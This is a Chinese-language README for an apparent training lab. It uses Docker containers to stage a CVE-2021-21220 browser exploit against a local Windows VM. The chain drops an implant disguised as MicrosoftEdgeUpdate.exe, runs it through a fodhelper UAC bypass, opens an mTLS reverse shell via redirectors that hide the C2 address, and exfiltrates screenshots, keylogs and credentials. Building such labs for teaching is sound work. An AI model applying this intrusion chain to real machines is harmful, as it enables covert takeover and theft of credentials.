CVE-2021-21220 Exploitation infrastructure
受害者浏览托管网页。利用过程通过嵌入在 utils.js 中的 shellcode 发起(在受害者浏览器客户端运行,利用 CVE-2021-21220)。shellcode 在受害者机器上运行,调用 HTTPS 交付服务器,下载 MicrosoftEdgeUpdate.exe 并执行。一旦运行,植入程序通过中间跳板(C2 重定向器)使用 TLS 连接 C2 服务器以获取签名证书,然后通过完整的双向 TLS 重新连接。C2 控制器接收连接并呈现交互式反向 Shell 菜单,允许操作员在受害者机器上远程执行 Windows 命令。
威胁模型图:
注意:另有更详细的替代说明:https://docs.google.com/document/d/1q1xkLOoWJbd6i1exGZA5UIgr2MV8YcwYBWv_PG8luJI/edit?usp=sharing
克隆仓库:
git clone https://github.com/JacobTaylor3/Docker-Lab-Milestone-2.git
cd Docker-Lab-Milestone-2
从共享驱动器下载 Windows 受害者虚拟机,并导入到 VirtualBox。在 VirtualBox 中:文件 → 工具 → 网络管理器 — 记录主机专用适配器的 IPv4 地址(它必须在 192.168.56.0/24 子网内)。无论分配什么 IP 地址(我们建议 192.168.56.1),该地址就是你真正的 C2 机器 IP。
启动 Docker Desktop(Linux 上为 Docker 守护进程)。
Windows(WSL)用户:
launch.sh使用netsh向 VirtualBox 适配器添加 IP 别名,这需要管理员权限。在开始菜单中右键单击你的 WSL 发行版(Ubuntu 或你使用的其他发行版),选择以管理员身份运行,然后再继续。
运行启动脚本:
sudo ./launch.sh
当提示输入 c2-redirector IP 时,输入同一子网内的另一个地址(例如 192.168.56.10)。launch.sh 会将其作为 IP 别名添加到 vboxnet0,以便 Docker 可以绑定。受害者只连接该别名——你的真实机器 IP 保持隐藏。
该脚本将:
ENROLLMENT_TOKEN、DOWNLOAD_TOKEN)实验室启动后,连接到 C2 控制器:
sudo docker attach c2-server
如果提示符未立即出现,按回车。在不停止容器的情况下分离:Ctrl+P 后按 Ctrl+Q。
启动 Windows 虚拟机。密码是 victim。打开浏览器并导航到:
http://<c2-redirector-IP>:8888
CVE-2021-21220 利用会自动触发。Shellcode 从 https://<c2-redirector-IP>:8443/update/<token> 下载 MicrosoftEdgeUpdate.exe,通过 fodhelper UAC 绕过运行它,然后植入程序连接回 C2 控制器。
植入会话出现在控制器菜单中。按编号选择进入命令循环。
六个容器,每个代表一台独立的机器:
两个流量通道,每个通道都有一个位于独立 IP 上的重定向器跳板:
:443 mTLS):受害者 → c2-redirector(C2_HOST_IP)→ c2-server(仅 backnet):9443 HTTPS):受害者 → exfil-redirector(EXFIL_HOST_IP)→ exfil-receiver(仅 exfilnet)渗透数据保存在宿主机的 exfil-data/<hostname>/ 目录下。
# 查看尾部日志
sudo docker logs -f delivery-server
sudo docker logs -f exploit-server
sudo docker logs -f exfil-receiver
# 进入容器 Shell
sudo docker exec -it c2-server /bin/bash
# 停止所有容器
sudo docker compose down
# 查看已捕获的渗透数据
ls exfil-data/
有关完整架构、令牌/加密流程及载荷流的详细信息,请参阅 documentation/ProjectOverview.md。
| 机器 | 容器 | 端口 | 角色 |
|---|
| 1 | c2-redirector | :443 | socat TCP 中继 — 面向受害者的跳板,隐藏真实 C2 IP |
| 2 | c2-server | (仅 backnet) | mTLS C2 监听器 — 操作员命令接口 |
| 3 | delivery-server | :8443 | nginx HTTPS — 一次性令牌植入下载 |
| 4 | exploit-server | :8888 | CVE-2021-21220 利用网页 |
| 5 | exfil-redirector | :9443 | socat TCP 中继 — 面向受害者的跳板,隐藏真实渗透 IP |
| 6 | exfil-receiver | (仅 exfilnet) | HTTPS POST 接收端 — 保存截图、键盘记录、凭据 |